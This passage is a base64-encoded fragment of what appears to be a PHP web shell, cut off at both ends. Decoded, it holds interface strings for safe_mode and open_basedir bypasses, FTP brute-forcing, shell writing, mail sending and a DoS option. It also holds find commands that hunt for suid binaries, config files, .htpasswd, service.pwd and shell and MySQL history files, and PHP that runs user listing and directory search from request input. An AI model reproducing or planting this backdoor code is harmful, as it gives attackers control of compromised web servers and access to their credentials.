RleHQyNCc9PidSZW1vdGUgaG9zdCcsDQonZW5nX3RleHQyNSc9PidSZW1vdGUgcG9ydCcsDQonZW5nX3RleHQyNic9PidVc2UnLA0KJ2VuZ19idXR0NScgPT4nUnVuJywNCidlbmdfdGV4dDI4Jz0+J1dvcmsgaW4gc2FmZV9tb2RlJywNCidlbmdfdGV4dDI5Jz0+J0FDQ0VTUyBERU5JRUQnLA0KJ2VuZ19idXR0NicgPT4nQ2hhbmdlJywNCidlbmdfdGV4dDMwJz0+J0NhdCBmaWxlJywNCidlbmdfYnV0dDcnID0+J1Nob3cnLA0KJ2VuZ190ZXh0MzEnPT4nRmlsZSBub3QgZm91bmQnLA0KJ2VuZ190ZXh0MzInPT4nRXZhbCBQSFAgY29kZScsDQonZW5nX3RleHQzMyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIgd2l0aCBjVVJMIGZ1bmN0aW9ucycsDQonZW5nX2J1dHQ4JyA9PidUZXN0JywNCidlbmdfdGV4dDM0Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGluY2x1ZGUgZnVuY3Rpb24nLA0KJ2VuZ190ZXh0MzUnPT4nVGVzdCBieXBhc3Mgd2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwgLSBlZGl0ZWQgYnkgQWx1Y2FyJywNCidlbmdfdGV4dDM2Jz0+J0RiIC4gVGFibGUnLA0KJ2VuZ190ZXh0MzcnPT4nTG9naW4nLA0KJ2VuZ190ZXh0MzgnPT4nUGFzc3dvcmQnLA0KJ2VuZ190ZXh0MzknPT4nRGF0YWJhc2UnLA0KJ2VuZ190ZXh0NDAnPT4nRHVtcCBkYXRhYmFzZSB0YWJsZScsDQonZW5nX2J1dHQ5JyA9PidEdW1wJywNCidlbmdfdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywNCidlbmdfdGV4dDQyJz0+J0VkaXQgZmlsZXMnLA0KJ2VuZ190ZXh0NDMnPT4nRmlsZSBmb3IgZWRpdCcsDQonZW5nX2J1dHQxMCc9PidTYXZlJywNCidlbmdfdGV4dDQ0Jz0+J0NhblwndCBlZGl0IGZpbGUhIE9ubHkgcmVhZCBhY2Nlc3MhJywNCidlbmdfdGV4dDQ1Jz0+J0ZpbGUgc2F2ZWQnLA0KJ2VuZ190ZXh0NDYnPT4nU2hvdyBwaHBpbmZvKCknLA0KJ2VuZ190ZXh0NDcnPT4nU2hvdyB2YXJpYWJsZXMgZnJvbSBwaHAuaW5pJywNCidlbmdfdGV4dDQ4Jz0+J0RlbGV0ZSB0ZW1wIGZpbGVzJywNCidlbmdfYnV0dDExJz0+J0VkaXQgZmlsZScsDQonZW5nX3RleHQ0OSc9PidEZWxldGUgc2NyaXB0IGZyb20gc2VydmVyJywNCidlbmdfdGV4dDUwJz0+J1ZpZXcgY3B1IGluZm8nLA0KJ2VuZ190ZXh0NTEnPT4nVmlldyBtZW1vcnkgaW5mbycsDQonZW5nX3RleHQ1Mic9PidGaW5kIHRleHQnLA0KJ2VuZ190ZXh0NTMnPT4nSW4gZGlycycsDQonZW5nX3RleHQ1NCc9PidGaW5kIHRleHQgaW4gZmlsZXMnLA0KJ2VuZ19idXR0MTInPT4nRmluZCcsDQonZW5nX3RleHQ1NSc9PidPbmx5IGluIGZpbGVzJywNCidlbmdfdGV4dDU2Jz0+J05vdGhpbmcgOignLA0KJ2VuZ190ZXh0NTcnPT4nQ3JlYXRlL0RlbGV0ZSBGaWxlL0RpcicsDQonZW5nX3RleHQ1OCc9PiduYW1lJywNCidlbmdfdGV4dDU5Jz0+J2ZpbGUnLA0KJ2VuZ190ZXh0NjAnPT4nZGlyJywNCidlbmdfYnV0dDEzJz0+J0NyZWF0ZS9EZWxldGUnLA0KJ2VuZ190ZXh0NjEnPT4nRmlsZSBjcmVhdGVkJywNCidlbmdfdGV4dDYyJz0+J0RpciBjcmVhdGVkJywNCidlbmdfdGV4dDYzJz0+J0ZpbGUgZGVsZXRlZCcsDQonZW5nX3RleHQ2NCc9PidEaXIgZGVsZXRlZCcsDQonZW5nX3RleHQ2NSc9PidDcmVhdGUnLA0KJ2VuZ190ZXh0NjYnPT4nRGVsZXRlJywNCidlbmdfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywNCidlbmdfdGV4dDY4Jz0+J0NvbW1hbmQnLA0KJ2VuZ190ZXh0NjknPT4ncGFyYW0xJywNCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsDQonZW5nX3RleHQ3MSc9PiJTZWNvbmQgY29tbWFuZHMgcGFyYW0gaXM6XHJcbi0gZm9yIENIT1dOIC0gbmFtZSBvZiBuZXcgb3duZXIgb3IgVUlEXHJcbi0gZm9yIENIR1JQIC0gZ3JvdXAgbmFtZSBvciBHSURcclxuLSBmb3IgQ0hNT0QgLSAwNzc3LCAwNzU1Li4uIiwNCidlbmdfdGV4dDcyJz0+J1RleHQgZm9yIGZpbmQnLA0KJ2VuZ190ZXh0NzMnPT4nRmluZCBpbiBmb2xkZXInLA0KJ2VuZ190ZXh0NzQnPT4nRmluZCBpbiBmaWxlcycsDQonZW5nX3RleHQ3NSc9PicqIHlvdSBjYW4gdXNlIHJlZ2V4cCcsDQonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEgZmluZCcsDQonZW5nX3RleHQ4MCc9PidUeXBlJywNCidlbmdfdGV4dDgxJz0+J05ldCcsDQonZW5nX3RleHQ4Mic9PidEYXRhYmFzZXMnLA0KJ2VuZ190ZXh0ODMnPT4nUnVuIFNRTCBxdWVyeScsDQonZW5nX3RleHQ4NCc9PidTUUwgcXVlcnknLA0KJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywNCidlbmdfdGV4dDg2Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gc2VydmVyJywNCidlbmdfYnV0dDE0Jz0+J0Rvd25sb2FkJywNCidlbmdfdGV4dDg3Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLA0KJ2VuZ190ZXh0ODgnPT4nRlRQLXNlcnZlcjpwb3J0JywNCidlbmdfdGV4dDg5Jz0+J0ZpbGUgb24gZnRwJywNCidlbmdfdGV4dDkwJz0+J1RyYW5zZmVyIG1vZGUnLA0KJ2VuZ190ZXh0OTEnPT4nQXJjaGl2YXRpb24nLA0KJ2VuZ190ZXh0OTInPT4nd2l0aG91dCBhcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Myc9PidGVFAnLA0KJ2VuZ190ZXh0OTQnPT4nRlRQLWJydXRlZm9yY2UnLA0KJ2VuZ190ZXh0OTUnPT4nVXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nic9PidDYW5cJ3QgZ2V0IHVzZXJzIGxpc3QnLA0KJ2VuZ190ZXh0OTcnPT4nY2hlY2tlZDogJywNCidlbmdfdGV4dDk4Jz0+J3N1Y2Nlc3M6ICcsDQonZW5nX3RleHQ5OSc9PicqIHVzZSB1c2VybmFtZSBmcm9tIC9ldGMvcGFzc3dkIGZvciBmdHAgbG9naW4gYW5kIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3RlIGZ0cCBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTAxJz0+J1VzZSByZXZlcnNlICh1c2VyIC0+IHJlc3UpIGxvZ2luIGZvciBwYXNzd29yZCcsDQonZW5nX3RleHQxMDInPT4nTWFpbCcsDQonZW5nX3RleHQxMDMnPT4nU2VuZCBlbWFpbCcsDQonZW5nX3RleHQxMDQnPT4nU2VuZCBmaWxlIHRvIGVtYWlsJywNCidlbmdfdGV4dDEwNSc9PidUbycsDQonZW5nX3RleHQxMDYnPT4nRnJvbScsDQonZW5nX3RleHQxMDcnPT4nU3ViaicsDQonZW5nX2J1dHQxNSc9PidTZW5kJywNCidlbmdfdGV4dDEwOCc9PidNYWlsJywNCidlbmdfdGV4dDEwOSc9PidIaWRlJywNCidlbmdfdGV4dDExMCc9PidTaG93JywNCidlbmdfdGV4dDExMSc9PidTUUwtU2VydmVyIDogUG9ydCcsDQonZW5nX3RleHQxMTInPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJfc2VuZF9tYWlsJywNCidlbmdfdGV4dDExMyc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZGlyIGxpc3QgdmlhIGltYXBfbGlzdCcsDQonZW5nX3RleHQxMTQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCB2aWV3IGZpbGUgY29udGVzdCB2aWEgaW1hcF9ib2R5JywNCidlbmdfdGV4dDExNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIGNvcHkgZmlsZSB2aWEgY29tcHJlc3MuemxpYjovLyBpbiBmdW5jdGlvbiBjb3B5KCknLA0KJ2VuZ190ZXh0MTE2Jz0+J0NvcHkgZnJvbScsDQonZW5nX3RleHQxMTcnPT4ndG8nLA0KJ2VuZ190ZXh0MTE4Jz0+J0ZpbGUgY29waWVkJywNCidlbmdfdGV4dDExOSc9PidDYW50IGNvcHkgZmlsZScsDQonZW5nX3RleHQxMjAnPT4nU1FMLVNlcnZlcicsDQonZW5nX3RleHQxMjEnPT4nQnlwYXNzIHBocCA1LjIuNicsDQonZW5nX3RleHQxMjInPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCB2aWV3IGRpciBsaXN0IHZpYSBmb3BlbiAoUEhQIHY0LjQuMCBtZW1vcnkgbGVhaykgYnkgTlNUJywNCidlbmdfdGV4dDEyMyc9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3QgdmlhIHJlYWxwYXRoKCkgKFBIUCA8PSA1LjIuNCknLA0KJ2VuZ190ZXh0MTI0Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIHNlc3Npb25fc2F2ZV9wYXRoW05VTEwtYnl0ZV0gKFBIUCA8PSA1LjIuMCknLA0KJ2VuZ190ZXh0MTI1Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIHNlc3Npb25fc2F2ZV9wYXRoKFRNUERJUikgKFBIUCA8PSA1LjIuNCknLA0KJ2VuZ190ZXh0MTI2Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgYWRkIGRhdGEgdG8gZmlsZSB2aWEgcmVhZGZpbGUocGhwOi8vKSAoUEhQIDw9IDUuMi4xLCA0LjQuNCknLA0KJ2VuZ190ZXh0MTI3Jz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgY3JlYXRlIGZpbGUgdmlhIGZvcGVuKHNycGF0aDovLykgKFBIUCB2NS4yLjApICcsDQonZW5nX3RleHQxMjgnPT4nRGF0YScsDQonZW5nX3RleHQxMjknPT4nRGljdGlvbmFyeScsDQonZW5nX3RleHQxMzAnPT4nRG9TJywNCidlbmdfdGV4dDEzMSc9PidEYW5nZXIhIFdlYi1kYWVtb24gY3Jhc2ggcG9zc2libGUuJywNCidlbmdfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGluIGZpbGUgJywNCidlbmdfZXJyMSc9PidFcnJvciEgQ2FuXCd0IHJlYWQgZmlsZSAnLA0KJ2VuZ19lcnIyJz0+J0Vycm9yISBDYW5cJ3QgY3JlYXRlICcsDQonZW5nX2VycjMnPT4nRXJyb3IhIENhblwndCBjb25uZWN0IHRvIGZ0cCcsDQonZW5nX2VycjQnPT4nRXJyb3IhIENhblwndCBsb2dpbiBvbiBmdHAgc2VydmVyJywNCidlbmdfZXJyNSc9PidFcnJvciEgQ2FuXCd0IGNoYW5nZSBkaXIgb24gZnRwJywNCidlbmdfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsDQonZW5nX2VycjcnPT4nTWFpbCBzZW5kJywNCidlbmdfdGV4dDIwMCc9PidyZWFkIGZpbGUgZnJvbSB2dWwgY29weSgpJywNCidlbmdfdGV4dDIwMic9Pid3aGVyZSBmaWxlIGluIHNlcnZlcicsDQonZW5nX3RleHQzMDAnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGN1cmwoKScsDQonZW5nX3RleHQyMDMnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGluaV9yZXN0b3JlKCknLA0KJ2VuZ190ZXh0MjA0Jz0+J3dyaXRlIHNoZWxsIGZyb20gdnVsIGVycm9yX2xvZygpJywNCidlbmdfdGV4dDIwNSc9Pid3cml0ZSBzaGVsbCBpbiB0aGlzIHNpZGUnLA0KJ2VuZ190ZXh0MjA2Jz0+J3JlYWQgZGlyJywNCidlbmdfdGV4dDIwNyc9PidyZWFkIGRpciBmcm9tIHZ1bCByZWdfZ2xvYicsDQonZW5nX3RleHQyMDgnPT4nZXhlY3V0ZSB3aXRoIGZ1bmN0aW9uJywNCidlbmdfdGV4dDIwOSc9PidyZWFkIGRpciBmcm9tIHZ1bCByb290JywNCidlbmdfdGV4dDIxMCc9PidEZVplbmRlciAnLA0KJ2VuZ190ZXh0MjExJz0+Jzo6c2FmZV9tb2RlIG9mZjo6JywNCidlbmdfdGV4dDIxMic9PidDbG9zZSBzYWZlX21vZGUgd2l0aCBwaHAuaW5pJywNCidlbmdfdGV4dDIxMyc9PidDbG9zZSBzZWN1cml0eV9tb2Qgd2l0aCAuaHRhY2Nlc3MnLA0KJ2VuZ190ZXh0MjE0Jz0+J0FkbWluIG5hbWUnLA0KJ2VuZ190ZXh0MjE1Jz0+J0lSQyBzZXJ2ZXIgJywNCidlbmdfdGV4dDIxNic9Picjcm9vbSBuYW1lJywNCidlbmdfdGV4dDIxNyc9PidzZXJ2ZXInLA0KJ2VuZ190ZXh0MjE4Jz0+J3dyaXRlIGluaS5waHAgZmlsZSB0byBjbG9zZSBzYWZlX21vZGUgd2l0aCBpbmlfcmVzdG9yZSB2dWwnLA0KJ2VuZ190ZXh0MjE5Jz0+J0dldCBmaWxlIHRvIHNlcnZlciBpbiBzYWZlX21vZGUgYW5kIGNoYW5nZSBuYW1lJywNCidlbmdfdGV4dDIyMCc9PidzaG93IGZpbGUgd2l0aCBzeW1saW5rIHZ1bCcsDQonZW5nX3RleHQyMjEnPT4nemlwIGZpbGUgaW4gc2VydmVyIHRvIGRvd25sb2FkJywNCidlbmdfdGV4dDIyMic9PicyIHN5bWxpbmsgdXNlIHZ1bCcsDQonZW5nX3RleHQyMjMnPT4ncmVhZCBmaWxlIGZyb20gZnVuY3V0aW9uJywNCidlbmdfdGV4dDIyNCc9PidyZWFkIGZpbGUgZnJvbSBQTFVHSU4nLA0KJ2VuZ190ZXh0MjI1JyA9PiAnaHRhY2Nlc3Mgc2FmZW1vZGUgYW5kIG9wZW5fYmFzZWRpciBieXBhc3MnLA0KJ2VuZ190ZXh0MjI2JyA9PiAnV3JpdGUgdG8gZmlsZScsDQonZW5nX3RleHQyMjcnID0+ICdDb250ZW50JywNCidlbmdfdGV4dDIyOCcgPT4gJ1NTSSBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIyOScgPT4gJ0NPTSBmdW5jdGlvbnMgc2FmZV9tb2RlIGFuZCBkaXNhYmxlX2Z1bmN0aW9uIGJ5cGFzcycsDQonZW5nX3RleHQyMzAnID0+ICdpb25DdWJlIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzMScgPT4gJ3dpbjMyc3RkIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzMicgPT4gJ3dpbjMyc2VydmljZSBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQyMzMnID0+ICdwZXJsIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzNCcgPT4gJ0ZGSSBleHRlbnNpb24gc2FmZV9tb2RlIGJ5cGFzcycsDQonZW5nX3RleHQxMzcnPT4nVXNlZnVsJywNCidlbmdfdGV4dDEzOCc9PidEYW5nZXJvdXMnLA0KJ2VuZ190ZXh0MTQyJz0+J0Rvd25sb2FkZXJzJywNCidlbmdfYnV0dDY1Jz0+J1dyaXRlJywNCik7DQovKg0KPz8/Pz8/ID8/Pz8/Pw0KPz8/Pz8/Pz8/ID8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/ID8gPz8/LT8/ID8/Pz8/Py4gKCA/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8/ICkNCj8/ID8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Py4NCiovDQokYWxpYXNlcz1hcnJheSgNCidmaW5kIHN1aWQgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMnLA0KJ2ZpbmQgc2dpZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywNCidmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scycsDQonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcsDQonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCcsDQonZmluZCBjb25maWcqIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICJjb25maWcqIicsDQonZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lICJjb25maWcqIicsDQonZmluZCBhbGwgd3JpdGFibGUgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzJz0+J2ZpbmQgLyAgLXR5cGUgZCAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzJz0+J2ZpbmQgLyAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGRpcmVjdG9yaWVzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXBlcm0gLTIgLWxzJywNCidmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCcsDQonZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCcsDQonZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCcsDQonZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJywNCidmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknLA0KJ2ZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5JywNCidmaW5kIGFsbCAubXlzcWxfaGlzdG9yeSBmaWxlcyc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScsDQonZmluZCAubXlzcWxfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAubXlzcWxfaGlzdG9yeScsDQonZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYycsDQonZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJywNCidsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSc9Pidsc2F0dHIgLXZhJywNCidzaG93IG9wZW5lZCBwb3J0cyc9PiduZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuJywNCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+J2xzIC1sYScNCik7DQokdGFibGVfdXAxICA9ICI8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaw0KPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgY2xhc3M9dHQgYWxpZ249Y2VudGVyPjo6ICI7DQokdGFibGVfdXAyICA9ICIgOjo8L2Rpdj48L2I+PC9mb250PjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPW1haW4+IjsNCiR0YWJsZV91cDMgID0gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPUJsYWNrPjx0cj48dGQgY2xhc3M9bWFpbj4iOw0KJHRhYmxlX2VuZDEgPSAiPC90ZD48L3RyPiI7DQokYXJyb3cgPSAiIDxmb250IGZhY2U9V2ViZGluZ3MgY29sb3I9V2hpdGU+NDwvZm9udD4iOw0KJGxiID0gIjxmb250IGNvbG9yPVdoaXRlPls8L2ZvbnQ+IjsNCiRyYiA9ICI8Zm9udCBjb2xvcj1XaGl0ZT5dPC9mb250PiI7DQokZm9udCA9ICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iOw0KJHRzID0gIjx0YWJsZSBjbGFzcz10YWJsZTEgd2lkdGg9MTAwJSBhbGlnbj1jZW50ZXI+IjsNCiR0ZSA9ICI8L3RhYmxlPiI7DQokZnMgPSAiPGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7DQokZmUgPSAiPC9mb3JtPiI7DQoNCmlmKGlzc2V0KCRfR0VUWyd1c2VycyddKSkNCiB7DQogaWYoISR1c2Vycz1nZXRfdXNlcnMoKSkgeyBlY2hvICI8Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvZm9udD48L2NlbnRlcj4iOyB9DQogZWxzZQ0KICB7DQogIGVjaG8gJzxjZW50ZXI+JzsNCiAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpIHsgZWNobyAkdXNlci4iPGJyPiI7IH0NCiAgZWNobyAnPC9jZW50ZXI+JzsNCiAgfQ0KIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOw0KIH0NCg0KaWYgKCFlbXB0eSgkX1BPU1RbJ2RpciddKSkgeyBAY2hkaXIoJF9QT1NUWydkaXInXSk7IH0NCiRkaXIgPSBAZ2V0Y3dkKCk7DQokdW5peCA9IDA7DQppZihzdHJsZW4oJGRpcik+MSAmJiAkZGlyWzFdPT0iOiIpICR1bml4PTA7IGVsc2UgJHVuaXg9MTsNCmlmKGVtcHR5KCRkaXIpKQ0KIHsNCiAkb3MgPSBnZXRlbnYoJ09TJyk7DQogaWYoZW1wdHkoJG9zKSl7ICRvcyA9IHBocF91bmFtZSgpOyB9DQogaWYoZW1wdHkoJG9zKSl7ICRvcyA9Ii0iOyAkdW5peD0xOyB9DQogZWxzZQ0KICAgIHsNCiAgICBpZihAZXJlZ2koIl53aW4iLCRvcykpIHsgJHVuaXggPSAwOyB9DQogICAgZWxzZSB7ICR1bml4ID0gMTsgfQ0KICAgIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydzX2RpciddKSAmJiAhZW1wdHkoJF9QT1NUWydzX3RleHQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gInNlYXJjaF90ZXh0IikNCiAgew0KICAgIGVjaG8gJGhlYWQ7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsnc19tYXNrJ10pICYmICFlbXB0eSgkX1BPU1RbJ20nXSkpIHsgJHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTsgfQ0KICAgIGVsc2UgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddKTsgfQ0KICAgICRzci0+U2VhcmNoVGV4dCgwLDApOw0KICAgICRyZXMgPSAkc3ItPkdldFJlc3VsdEZpbGVzKCk7DQogICAgJGZvdW5kID0gJHNyLT5HZXRNYXRjaGVzQ291bnQoKTsNCiAgICAkdGl0bGVzID0gJHNyLT5HZXRUaXRsZXMoKTsNCiAgICAkciA9ICIiOw0KICAgIGlmKCRmb3VuZCA+IDApDQogICAgew0KICAgICAgJHIgLj0gIjxUQUJMRSB3aWR0aD0xMDAlPiI7DQogICAgICBmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KQ0KICAgICAgew0KICAgICAgICAkciAuPSAiPFRSPiI7DQogICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbiBjb2xzcGFuPTI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii53cygzKTsNCiAgICAgICAgJHIgLj0gKCEkdW5peCk/IHN0cl9yZXBsYWNlKCIvIiwiXFwiLCRmaWxlKSA6ICRmaWxlOw0KICAgICAgICAkciAuPSAiPC9iPjwvZm9udD48LyBURD4iOw0KICAgICAgICAkciAuPSAiPC9UUj4iOw0KICAgICAgICBmb3JlYWNoKCR2IGFzICRhPT4kYikNCiAgICAgICAgew0KICAgICAgICAgICRyIC49ICI8VFI+IjsNCiAgICAgICAgICAkciAuPSAiPFREIGNsYXNzPW1haW4gYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGEuIjwvZm9udD48L0I+PC9URD4iOw0KICAgICAgICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLndzKDIpLiRiLiI8L2ZvbnQ+PC9URD4iOw0KICAgICAgICAgICRyIC49ICI8L1RSPlxuIjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJHIgLj0gIjwvVEFCTEU+IjsNCiAgICBlY2hvICRyOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgZWNobyAiPFAgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7DQogICAgfQ0KICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10u















